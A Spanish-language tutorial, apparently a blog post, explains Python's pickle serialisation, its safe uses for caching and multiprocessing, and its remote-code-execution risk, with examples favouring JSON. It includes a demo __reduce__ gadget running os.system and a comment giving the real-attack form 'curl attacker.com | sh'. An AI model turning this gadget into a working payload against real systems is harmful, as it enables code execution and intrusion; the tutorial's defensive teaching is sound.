`pickle`: serialización total de objetos Python y sus riesgos

pickle es el mecanismo de serialización nativo de Python que convierte cualquier objeto Python —instancias, funciones, clases, closures, grafos de objetos con referencias circulares— en una secuencia de bytes y los reconstruye después. A diferencia de JSON, que solo habla el subconjunto de tipos que tiene análogo en JavaScript, pickle entiende el modelo de datos completo de Python.

La razón por la que puede hacer esto es la clave para entender su peligro: pickle no guarda datos, guarda instrucciones. El formato .pkl es esencialmente un pequeño programa en un bytecode propio (la “pickle machine”) que, al deserializar, se ejecuta en el intérprete. Entre esas instrucciones existe una que invoca callables arbitrarios: REDUCE y BUILD. Cuando llamas pickle.loads(data), Python obedece esas instrucciones sin cuestionar su procedencia.

La implicación práctica es directa: si los bytes vienen de una fuente que no controlas al 100%, tienes una vulnerabilidad de ejecución remota de código (RCE). No es una vulnerabilidad teórica oscura; es el vector de ataque más documentado del ecosistema Python. Un atacante que puede influir en los bytes que pasas a pickle.loads puede ejecutar cualquier shell command, exfiltrar secretos o instalar backdoors, simplemente porque pickle lo invocará durante la reconstrucción del objeto.

El uso legítimo y seguro existe, pero tiene un contorno muy preciso: pickle es apropiado cuando el productor y el consumidor de los bytes son el mismo codebase confiable. Caché de objetos Python complejos en disco entre reinicios del proceso, paso de objetos entre workers de multiprocessing, persistencia temporal de estado de entrenamiento de modelos —en todos esos casos tú controlas ambos extremos, y pickle es conveniente y eficiente.

import pickle
import os
import tempfile
from multiprocessing import Pool
from dataclasses import dataclass, field
from typing import Any


@dataclass
class FeatureVector:
    name: str
    values: list[float]
    metadata: dict[str, Any] = field(default_factory=dict)

    def magnitude(self) -> float:
        return sum(v ** 2 for v in self.values) ** 0.5


# ── Caso 1: caché en disco de objetos costosos de computar ───────────────────

def compute_expensive_features(dataset_id: str) -> list[FeatureVector]:
    """Simula un proceso costoso: extracción de features de un dataset."""
    return [
        FeatureVector(
            name=f"feature_{i}",
            values=[float(i * j) for j in range(1, 6)],
            metadata={"dataset": dataset_id, "index": i},
        )
        for i in range(1, 4)
    ]


def load_or_compute(dataset_id: str, cache_path: str) -> list[FeatureVector]:
    if os.path.exists(cache_path):
        with open(cache_path, "rb") as f:
            # Seguro: el archivo lo escribimos nosotros mismos en el mismo codebase.
            return pickle.load(f)

    features = compute_expensive_features(dataset_id)
    with open(cache_path, "wb") as f:
        pickle.dump(features, f, protocol=pickle.HIGHEST_PROTOCOL)
    return features


# ── Caso 2: paso de objetos complejos a workers de multiprocessing ────────────

def process_vector(vec: FeatureVector) -> tuple[str, float]:
    # pickle serializa/deserializa automáticamente los args entre procesos.
    return (vec.name, vec.magnitude())


# ── Demostración del ataque RCE ───────────────────────────────────────────────

class MaliciousPayload:
    """
    Demuestra cómo un objeto puede ejecutar código arbitrario al deserializarse.
    __reduce__ es el hook que pickle invoca para reconstruir el objeto;
    aquí devolvemos (callable, args), que pickle ejecutará sin más preguntas.
    """
    def __reduce__(self):
        # En un ataque real, esto sería: ("bash", ["-c", "curl attacker.com | sh"])
        # Usamos 'echo' para que el ejemplo sea seguro de ejecutar.
        return (os.system, ("echo '[DEMO RCE] pickle ejecutó este comando'",))


def main():
    with tempfile.NamedTemporaryFile(suffix=".pkl", delete=False) as tmp:
        cache_path = tmp.name

    try:
        # Caso 1: caché
        features = load_or_compute("dataset_42", cache_path)
        print("Features cargadas:", [f.name for f in features])
        print("Magnitud de la primera:", features[0].magnitude())

        # Caso 2: multiprocessing
        with Pool(processes=2) as pool:
            results = pool.map(process_vector, features)
        print("Resultados del pool:", results)

        # Demostración del vector de ataque (bytes que parecen inocentes)
        malicious_bytes = pickle.dumps(MaliciousPayload())
        print("\nBytes 'inocentes' recibidos de red, longitud:", len(malicious_bytes))

        print("Ejecutando pickle.loads sobre datos 'externos'...")
        # Esta línea ejecuta el comando del sistema definido en __reduce__.
        pickle.loads(malicious_bytes)

    finally:
        os.unlink(cache_path)


if __name__ == "__main__":
    main()

Desglose del código

El @dataclass FeatureVector tiene un método magnitude() —pickle guarda el estado completo de la instancia (los campos) y sabe reconstruirla porque la clase vive en el mismo módulo. Eso es exactamente lo que lo hace conveniente para caché: no necesitas escribir un serializador a mano para cada tipo.

load_or_compute muestra el patrón típico de caché en disco. El punto crítico es que la decisión de confiar en el archivo la tomas tú en el diseño del sistema: si la ruta es un directorio temporal que solo tu proceso puede escribir, el nivel de confianza es razonable. Si la ruta viene de input de usuario… no.

protocol=pickle.HIGHEST_PROTOCOL es importante en escritura: genera bytes más compactos y más rápidos de leer. Al cargar no necesitas especificarlo, pickle detecta el protocolo automáticamente.

El caso de multiprocessing.Pool es quizás el uso más transparente: el framework usa pickle internamente para mover argumentos y resultados entre el proceso padre y los workers. No tienes elección aquí; es el mecanismo del módulo. Por eso los objetos que pases a pool.map deben ser picklables.

MaliciousPayload.__reduce__ expone el mecanismo interno del ataque. El protocolo pickle llama a __reduce__ sobre el objeto al serializar, y lo que devuelve es un par (callable, args) que pickle ejecutará al deserializar. La clase MaliciousPayload ni siquiera necesita instanciarse realmente en el lado receptor —el callable se ejecuta durante la reconstrucción, antes de que tengas oportunidad de inspeccionar nada.

Errores que debes conocer

Error: deserializar datos de una API externa, base de datos pública o mensaje de red asumiendo que el formato pickle “valida” integridad.

# ❌ Wrong
import pickle, requests

response = requests.get("https://api.externa.com/model-cache")
model = pickle.loads(response.content)  # RCE si la API fue comprometida

# ✅ Right
import json, requests

response = requests.get("https://api.externa.com/model-cache")
data = response.json()  # JSON no puede ejecutar código al parsear
model = MyModel(**data)

Cambiar a JSON elimina el vector: JSON.parse es un parser de datos puros, no un ejecutor de instrucciones.

Error: usar pickle para persistencia de larga duración entre versiones del codebase, generando archivos que explotan al cargar tras refactorizar una clase.

# ❌ Wrong
# v1: guardas FeatureVector con campo `values: list[float]`
# v2: renombras el campo a `scores` → pickle.load lanza AttributeError
# o peor, carga silenciosamente un objeto con estado inconsistente.

# ✅ Right
# Para persistencia cross-versión usa un formato con schema explícito.
import json

def save_features(features, path):
    with open(path, "w") as f:
        json.dump([{"name": fv.name, "values": fv.values} for fv in features], f)

def load_features(path):
    with open(path) as f:
        return [FeatureVector(**d) for d in json.load(f)]

Con JSON controlas explícitamente qué campos existen y el código de reconstrucción vive en tu codebase, no en el archivo.

Error: firmar con HMAC los bytes pickle y creer que eso resuelve el riesgo de seguridad.

# ❌ Wrong (razonamiento defectuoso)
import hmac, hashlib, pickle

SECRET = b"mi-clave-secreta"

def safe_loads(data: bytes, signature: bytes) -> object:
    expected = hmac.new(SECRET, data, hashlib.sha256).digest()
    if not hmac.compare_digest(expected, signature):
        raise ValueError("Firma inválida")
    return pickle.loads(data)  # Si la clave se filtró alguna vez, RCE garantizado.

# ✅ Right
# Si necesitas intercambiar datos con validación criptográfica,
# usa JSON + firma sobre el JSON. La firma protege integridad del contenido,
# no neutraliza la ejecución de instrucciones pickle.
import json

def safe_loads_json(data: bytes, signature: bytes) -> dict:
    expected = hmac.new(SECRET, data, hashlib.sha256).digest()
    if not hmac.compare_digest(expected, signature):
        raise ValueError("Firma inválida")
    return json.loads(data)  # Ahora sí: parseo de datos, no ejecución de código.

La firma HMAC valida que los bytes no fueron alterados en tránsito, pero si el secreto se filtra una vez —por logs, por un commit accidental, por un insider— todos los mensajes firmados con esa clave pueden contener payloads maliciosos válidos.

185

Dejar un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

Scroll al inicio